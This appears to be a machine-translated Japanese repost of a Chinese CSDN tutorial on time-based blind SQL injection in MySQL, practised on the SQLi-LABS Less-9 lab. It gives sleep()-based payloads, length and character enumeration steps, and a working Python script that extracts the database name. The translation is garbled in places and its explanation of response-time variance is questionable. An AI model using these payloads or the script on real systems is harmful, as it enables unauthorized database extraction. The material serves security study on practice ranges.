スーパーハードコア、SQLインジェクションのタイムブラインドインジェクション、原則+ステップ+実用的なアイデア

「作者のホームページ」:Shibie Sanshi wyx
「作者のプロフィール」: CSDN top100、Alibaba Cloudブログの専門家、Huaweiクラウドの専門家、ネットワークセキュリティの分野における高品質のクリエイター
「コラムの紹介」:この記事は「ネットワーク」のコラムに入力されましたセキュリティクイックスタート」

1.タイムブラインドとは何ですか?

タイムブラインドインジェクションとは、遅延インジェクションとも呼ばれる時間ベースのブラインドインジェクションを指し、ページの応答時間に応じてインジェクションがあるかどうかを判断します。

2.使用シナリオ

タイムブラインドインジェクションの優先度は高くなく、通常、ジョイントインジェクション、エラーインジェクション、およびブールブラインドインジェクションを使用できない場合に考慮されます。

  1. ページにエコー位置がありません(ジョイントインジェクションは機能しません)
  2. このページにはデータベースのエラーメッセージが表示されません(エラーインジェクションは使用できません)
  3. ページは、成功したか失敗したかにかかわらず、1つの結果のみで応答します(ブールブラインドは使用できません)

3.手順を使用します

タイムブラインドはブールブラインドと同じように使用され、3つのステップに分けることができます。

ステップ1:注入ポイントを決定する

次のタイプのテストペイロードを順番に試してください。遅延が5秒を超える場合、判断は真です。つまり、注入があります。

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a

括号及各种过滤类型……

ヒント:スリープ時間はカスタマイズできます。時間が長すぎると効率が低くなり、時間が短すぎると判断が難しくなります。

ステップ2:長さを決定する

MySQLのif()とsleep()を使用して、クエリ結果の長さを判断します。1から始まり、順番に増加します。

?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a

ページ応答時間が5秒を超える場合は長さ判定が正しい(sleep(5))
、ページ応答時間が5秒を超えない場合(正常応答)は長さ判定が間違っており、判定長は長くなり続けます。
ここに画像の説明を挿入

ステップ3:文字を列挙する

MySQLのif()とsleep()を使用して、文字の内容を判断します。
クエリ結果の最初の文字をインターセプトし、それをASCLLコードに変換し、32から判断して、126に増やします。
ASCLLコードについては、他の記事を参照してください:ASCLLコード比較表

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a

ページの応答時間が5秒を超える場合は、文字の内容が正しく判断されることを意味します。
ページの応答時間が5秒(通常の応答)を超えない場合は、文字の内容が誤って判断されることを意味します。文字が増えます。

最初の文字が正常に推測されたら、2番目、3番目... n番目の文字を順番に推測します(nは返された結果の長さを表します)。

4.タイムブラインドベッティングのデメリット

  1. タイムブラインドインジェクションの時間計算量は高く、多くの時間を消費する必要があります。
  2. タイムブラインドは、ネットワークの変動などの要因の影響を受けやすく、エラーが発生します。

タイムブラインドインジェクションは誤差が大きく、時間コストも高く、通常はインジェクションの存在を証明するだけで十分です。

5.ブラインドスクリプト

時間ブラインドアノテーションは通常、スクリプトを使用してソリューションを自動的に推測します。Pythonスクリプトは次のとおりであり、必要に応じて変更できます。

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
	(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
	(ascii(
		substr(
		(database())
		,{n},1)
	) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

6.実用的なアイデア

テスト範囲:SQLi LABSレス9
インジェクション:一重引用符文字インジェクション

1.タイムブラインドインジェクションがあるかどうかを判断します

注入ポイントを決定した後、Webページにタイムブラインド注入があるかどうかを判断する必要があります。次の2つの条件が同時に満たされると、タイムブラインド注入があると判断できます。

?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a	正常响应

主成分分析

if()関数の最初のパラメーターは条件式であり、1はTrueに変換され、0はFalseに変換されます。
条件式の結果がTrueの場合、2番目のパラメーター位置のコード(sleep(5))が実行され、応答が5秒間遅延します。
条件式の結果がFalseの場合、3番目のコードが実行されます。パラメータの位置が実行されます。つまり、3、カスタムプレースホルダー、意味がなく、ページは正常に応答します。
ここに画像の説明を挿入

2.在庫の削減

タイムブラインドインジェクションが存在すると判断された後、ライブラリを削除できます。
ライブラリの削除は、長さの判断、文字の列挙の2つのステップに分かれています。

2.1返された結果の長さを判断する

現在使用されているデータベース名の長さを判断する例を見てみましょう。まず、長さが1より大きいかどうかを判断します。

?id=1' and if(
	(length(database()) >1)
,sleep(5),3) -- a

主成分分析

ペイロードはSQLにスプライスされ、実行プロセスは次のとおりです。

ここに画像の説明を挿入

ライブラリ名の長さは1より大きくする必要があります。ページの応答時間が5秒を超える場合は、ペイロードが使用可能であることを意味します。1から開始して長さをテストし、順次増やします。
ここに画像の説明を挿入

2.2列挙文字

ライブラリ名には、大文字と小文字、数字、アンダースコア、その他の特殊文字など、95文字を使用できます。
最初の文字をインターセプトし、これらの95の可能性を徹底的に列挙します。推測を容易にするために、文字をASCLLコードに変換してから判断します(文字に対応するASCLLは32〜126です)。

最初に、現在使用されているデータベース名の最初の文字のASCLLコードが1より大きいかどうかを判別します。

?id=1' and if(
	(ascii(
		substr(
		(database())
		,1,1)
	) >1)
, sleep(5), 3) -- a

主成分分析

ペイロードはSQLにスプライスされ、実行プロセスは次のとおりです。
ここに画像の説明を挿入
最初の文字のASCLLコードは1より大きくなければならず、ページは5秒以上応答し、ペイロードが使用可能であることを示します。
32から126まで順番に判断すると、ページが5秒を超えて応答する場合、推測は正しいです。ページが正常に応答する場合、推測は間違っています。
最初の文字を正しく推測した後、2番目、3番目... n番目の文字を順番に推測します(nは返された結果の長さを表します)。

7.エラー判断

同じペイロードに対して、最初の応答時間が長く、2番目の応答時間が短い場合は、ネットワークの変動の影響を受けていることを意味します。両方の応答時間が非常に長い場合、遅延は成功しています。

原則:データベースは、実行されたSQLステートメントと実行結果をキャッシュに入れて、データベースのアクセス圧力を軽減します。データベースがSQLを実行すると、最初にキャッシュが検索されます。同じSQLがキャッシュに存在する場合、データベースを検索せずに、クエリ結果がキャッシュに直接返されます。
つまり、同じSQLを初めて実行するときは、多くの時間を消費し(データベースをチェックします)、2回目に実行するときは、ほとんど時間を消費しません(キャッシュをチェックします)。

おすすめのコラム

「ネットワークセキュリティクイックスタート」は、コアネットワークセキュリティテクノロジーを習得するために最短時間を使用します。
「射撃場クリアランスチュートリアル」様々な射撃場の通関チュートリアルが継続的に更新されています...

おすすめ

転載: blog.csdn.net/wangyuxiang946/article/details/123857045